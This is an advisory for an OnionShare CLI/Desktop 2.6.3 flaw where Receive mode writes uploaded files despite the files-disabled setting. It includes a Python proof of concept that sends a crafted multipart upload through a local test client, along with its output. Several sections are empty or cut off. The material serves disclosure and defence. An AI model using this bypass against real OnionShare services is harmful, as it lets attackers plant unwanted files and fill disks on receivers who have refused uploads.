medium

CVE-2026-54707

PyPI · onionshare-cli

Summary

OnionShare Receive mode writes uploaded files even when file uploads are disabled

Severity
medium
CVSS
5.4
EPSS
0.4% (p34)
CWE
CWE-863
Also known as
GHSA-v833-3823-cmhp
Published
2026-07-31
Updated
2026-07-31

Advisory details

Summary

OnionShare CLI/Desktop 2.6.3 does not enforce the Receive mode disable_files setting at the file upload sink. When a Receive service is configured as a text-message-only endpoint (--disable-files / "Disable uploading files"), a remote sender who can reach the OnionShare service can still send a crafted multipart request containing file[]; OnionShare writes the uploaded bytes to disk before the route handler skips file accounting.

This affects the shipped onionshare-cli Python package and the desktop application because both use the same onionshare_cli.web.receive_mode request-streaming implementation.

Details

Tested repository: https://github.com/onionshare/onionshare at commit 8cc75e1d7e88bd31f7276733449d412bf71c8999.

Affected product evidence:

Reachable default/common paths:

Root cause:

False-positive screening performed:

Affected versions / patched versions:

Severity:

Rationale: AV:N because the Receive endpoint is reached over the OnionShare HTTP service; AC:L because a crafted multipart POST is straightforward once the service is reachable; PR:L because the sender generally needs the OnionShare URL/private key unless the receiver intentionally runs public mode; UI:N because no further receiver interaction is required after service startup; S:U because the same local application writes the file; C:N because this PoC does not read data; I:L because the attacker writes unwanted files in a mode configured to reject files; A:L because the bypass can consume disk/storage despite the files-disabled policy, bounded by available disk and operator controls.

PoC

The following safe local proof uses only temporary directories and Flask's local test client. In this audit environment, several runtime dependencies were absent (waitress, flask_compress, flask_socketio, unidecode, stem, qrcode), so the harness stubbed those imports while executing the real receive_mode request parsing and file writing code. No external network traffic was sent and no real files outside temporary directories were modified.

Maintainer reproduction from a clean checkout with normal dependencies can omit the import stubs and run the same test-client setup, or can start a local Receive service with --disable-files and submit a multipart request to /upload-ajax.

Positive setup and trigger:

import os, tempfile, shutil
from io import BytesIO
from onionshare_cli.common import Common
from onionshare_cli.settings import Settings
from onionshare_cli.mode_settings import ModeSettings
from onionshare_cli.web import Web

base = tempfile.mkdtemp(prefix='os-disable-files-poc-')
data_dir = os.path.join(base, 'receive-data')
os.mkdir(data_dir)

common = Common()
common.settings = Settings(common)
mode_settings = ModeSettings(common)
web = Web(common, False, mode_settings, 'receive')
web.app.testing = True
web.proxies = None
web.settings.set('receive', 'data_dir', data_dir)
web.settings.set('receive', 'disable_files', True)

with web.app.test_client() as c:
    res = c.post(
        '/upload-ajax',
        buffered=True,
        content_type='multipart/form-data',
        data={'file[]': (BytesIO(b'DISABLE_FILES_BYPASS_MARKER'), 'audit.txt')},
    )
    print(res.status_code)
    print(res.get_data(as_text=True))
    for root, dirs, files in os.walk(data_dir):
        for name in files:
            path = os.path.join(root, name)
            print(os.path.relpath(path, data_dir), open(path, 'rb').read().decode())

shutil.rmtree(base)

Observed output from this environment after re-running the proof after drafting:

May 29, 06:13PM: Upload of total size 274.0 B is starting
=> 27.0 B audit.txt          positive_status: 200
positive_response: {"info_flashes": ["Nothing submitted or message was too long (> 524288 characters)"]}
positive_written: [('2026-05-29/181347904165/audit.txt', 'DISABLE_FILES_BYPASS_MARKER')]

The response says nothing/fileless was submitted, but the audit.txt file was created under the Receive data directory.

Negative/control case:

web2.settings.set('receive', 'disable_text', True)
# POST only a text field to /upload-ajax

Observed control output:

control_status: 200
control_response: {"info_flashes": ["Nothing submitted"]}
control_written_files: []
cleanup_done: true

Cleanup:

Impa

References

Related advisories

Is your project exposed to this? Stateward checks every dependency on every pull request and flags it only if your code actually reaches it.

Check my repo

Summarize with AI

ChatGPTClaudePerplexity

Sources: CISA KEV (public domain), OSV.dev & GitHub Advisory Database (CC-BY-4.0), FIRST EPSS, NVD/CWE (public domain). Served live from the Stateward advisory database.